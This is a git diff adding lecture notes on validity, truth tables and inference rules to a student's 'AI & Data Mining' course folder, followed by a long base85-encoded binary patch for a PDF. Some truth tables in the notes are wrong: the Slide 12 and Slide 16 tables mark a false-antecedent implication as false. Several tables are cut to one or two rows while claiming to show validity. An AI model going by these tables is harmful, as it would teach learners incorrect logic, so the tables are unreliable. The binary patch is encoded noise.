| +| p | q | r | $p \implies q$ | $q \implies r$ | $p \implies r$ | +| T | T | T | T | T | T | +| T | T | F | T | F | | +| T | F | T | F | T | | +| T | F | F | F | T | | +| F | T | T | T | T | T | +| F | T | F | T | F | | +| F | F | T | T | T | T | +| F | F | F | T | T | T | + +1. Involves linking implications together in a sequential manner, much like the links in a chain. + +**p ∨ q q Therefore, p** + +| Propositions | | Premises | | Conclusion | +| ------------ | --- | ---------- | --- | ---------- | +| $p$ | $q$ | $p \lor q$ | $q$ | p | +| T | T | T | T | T | +| T | F | T | F | T | +| F | T | T | T | F | +| F | F | F | F | F | + +**p ⇒ q q ⇒ p Therefore, p ∧ q** + +| Propositions | | Premises | | Conclusion | +| ------------ | --- | -------------- | -------------- | ----------- | +| p | q | $p \implies q$ | $q \implies p$ | $p \land q$ | +| T | T | T | T | T | +| T | F | F | T | F | +| F | T | T | F | F | +| F | F | T | T | F | + +$p \implies q$ +$r \implies s$ +$p \lor r$ (p disjunction (or) r) +Conclusion: $q \lor s$ + +The "Constructive Dilemma": If the disjunction of the antecedent of two implications holds then the disjunction of the conclusions also must hold diff --git a/AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.md b/AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.md new file mode 100644 index 0000000..95061ab --- /dev/null +++ b/AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.md @@ -0,0 +1,163 @@ + + +**Detailed Notes on Lectures 9 & 10: Validity and Inference Rules** + +**Slide 1: Learning Objectives** +- Define the notion of validity in an argument. +- Establish validity using truth tables. +- Demonstrate invalidity using truth tables. +- Understand inference rules. + +**Slide 2: Contents** +- Objectives +- Transformational proofs are not sufficient. +- Comparison of deduction with induction. +- Validity. +- Demonstrating validity/invalidity using truth tables. +- Problem with truth tables. +- Inference rules. +- Summary, reading, and references. + +**Slide 3: Transformational Proofs do not Suffice** +- Understanding transformations of formulas is useful but insufficient. +- Logic uses rules of inference to deduce true propositions from other true propositions. +- Invalid premises cannot lead to valid conclusions, preventing proofs of contradictions or useless systems. + +**Slide 4: Premises and Conclusions** +- An argument consists of premises (basis for accepting) and a conclusion. +- Example: + - Premises: Every adult is eligible to vote; John is an adult. + - Conclusion: Therefore, John is eligible to vote. + +**Slide 5: Deduction vs. Induction** +- Deductive arguments: Conclusion is wholly justified by premises. +- Inductive arguments: More general new knowledge inferred from facts or observations. + +**Slide 6: Valid vs. Invalid Arguments** +- Valid arguments: Conclusion always true when premises are true. +- Invalid arguments: At least one assignment where premises are true, but conclusion is false. + +**Slide 7: Example of Valid Argument** +- If John is an adult, then he is eligible to vote (premise). +- John is an adult (premise). +- Therefore, John is eligible to vote (conclusion). + +**Slide 8: Example of Valid Argument with False Conclusion** +- If I catch the 19:32 train, I'll arrive in Glasgow at 19:53 (premise). +- I catch the 19:32 train (premise). +- Therefore, I arrive in Glasgow at 19:53 (conclusion) – Factually false but valid argument. + +**Slide 9: Example of Invalid Argument** +- If I win the lottery, then I am lucky (premise). +- I do not win the lottery (premise). +- Therefore, I am unlucky (conclusion) – Invalid argument with factually true premises and conclusion. + +**Slide 10: Demonstrating Validity Using Truth Tables** +- View argument as implication (p ⇒ q). +- If premises entail conclusion, then argument is valid. + +**Slide 12: Demonstrating Validity Using Truth Table (Example)** +- Argument: If John is an adult, then he is eligible to vote; John is an adult; Therefore, John is eligible to vote. +- Atomic Propositions: p (John is an adult), q (John is eligible to vote). + +| p | q | p ⇒ q | p ∧ q | +|---|---|------|-------| +| T | T | T | T | +| F | T | F | F | + +- Argument is valid because conclusion (q) is always true when premises are true. + +**Slide 13: Viewing Argument as Implication** +- If premises logically imply conclusion, argument is valid. +- Example: ((p ⇒ q) ∧ p) ⇒ q + +**Slide 15: Demonstrating Invalidity Using Truth Tables** +- Argument is invalid if there's at least one assignment where premises are true, but conclusion is false. + +**Slide 16: Demonstrating Invalidity Using Truth Table (Example)** +- Argument: p ⇔ q; p ⇒ r; Therefore, p – Invalid argument. + +| p | q | r | p ⇔ q | p ⇒ r | +|---|---|------|-------|--------| +| T | T | T | T | T | +| F | T | F | F | F | + +- Argument is invalid because there's a row where premises are true, but conclusion (p) is false. + +**Slide 17: Exercise** +- Demonstrate the invalidity of the argument: p ∨ q; ¬p; Therefore, ¬q. + +**Slide 18: Solution to Exercise** +- Atomic Propositions: p, q. + +| p | q | p ∨ q | ¬p | +|---|---|------|-----| +| F | T | T | T | + +- Argument is invalid because there's a row where premises are true, but conclusion (¬q) is false. + +**Slide 19: A Problem with Truth Tables** +- Using truth tables to establish validity becomes tedious as the number of variables increases. + +**Slide 20: Deductive Proofs** +- Approach to establishing validity using a series of simpler arguments known to be valid. +- Uses laws of logic (logical equivalences) and inference rules. + +**Slide 21: Inference Rules** +- Primitive valid argument forms eliminating or introducing logical connectives. +- Categories: Intro (introduces connective), Elim (eliminates connective). + +**Slide 22: The Layout of an Inference Rule** +- Premises (above the line): List of formulas already in proof. +- Conclusion (below the line): What may be deduced by applying the inference rule. + +**Slide 23: Conjunction (∧Intro)** +- Introduces the connective ∧. +- Example: p, q; Therefore, p ∧ q. + +**Slide 24: Simplification (∧Elim)** +- Eliminates the connective ∧. +- Example: p ∧ q; Therefore, p. + +**Slide 25: Addition (∨Intro)** +- Introduces the connective ∨. +- Example: p; Therefore, p ∨ q. + +**Slide 26: Exercise on Disjunctive Syllogism** +- Demonstrate the validity of the inference rule using a truth table. + +**Slide 27: Solution to Exercise** +- Atomic Propositions: p, q. + +| p | q | ¬p | +|---|---|-----| +| F | T | T | + +- Argument is valid because conclusion (q) is always true when premises are true. + +**Slide 28: Modus Ponens (⇒Elim)** +- Eliminates the connective ⇒. +- Example: p ⇒ q; p; Therefore, q. + +**Slide 29: Modus Tollens (⇒Elim)** +- Eliminates the connective ⇒. +- Example: p ⇒ q; ¬q; Therefore, ¬p. + +**Slide 30: Other Inference Rules** +- Double Negation (¬Elim): ¬¬p; Therefore, p. +- Laws of Equivalence (⇔Elim): p ⇔ q; Therefore, p ⇒ q and q ⇒ p. + +**Slide 31: Transitive Inference Rules** +- Transitivity of Equivalence: If p ≡ q and q ≡ r, then p ≡ r. +- Hypothetical Syllogism: If p ⇒ q and q ⇒ r, then p ⇒ r. + +**Slide 32: Summary** +- Valid arguments: Conclusion always true when premises are true. +- Invalid arguments: At least one assignment where premises are true, but conclusion is false. +- Truth tables demonstrate invalidity. +- Inference rules deduce true propositions from other true propositions. + +**Slide 33: Reading and References** +- Russell, Norvig (2022). Artificial Intelligence. 4th Edition. +- Nissanke (1999). Introductory Logic and Sets for Computer Scientists. +- Gray (1984). Logic, Algebra and Databases. \ No newline at end of file diff --git a/AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.pdf b/AI & Data Mining/Week 22/Week 22 Validity and Inference Rules.pdf new file mode 100755 index 0000000000000000000000000000000000000000..62ac422ca386a99d374f937dd124bd2506c7c4d0 GIT binary patch literal 38835 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 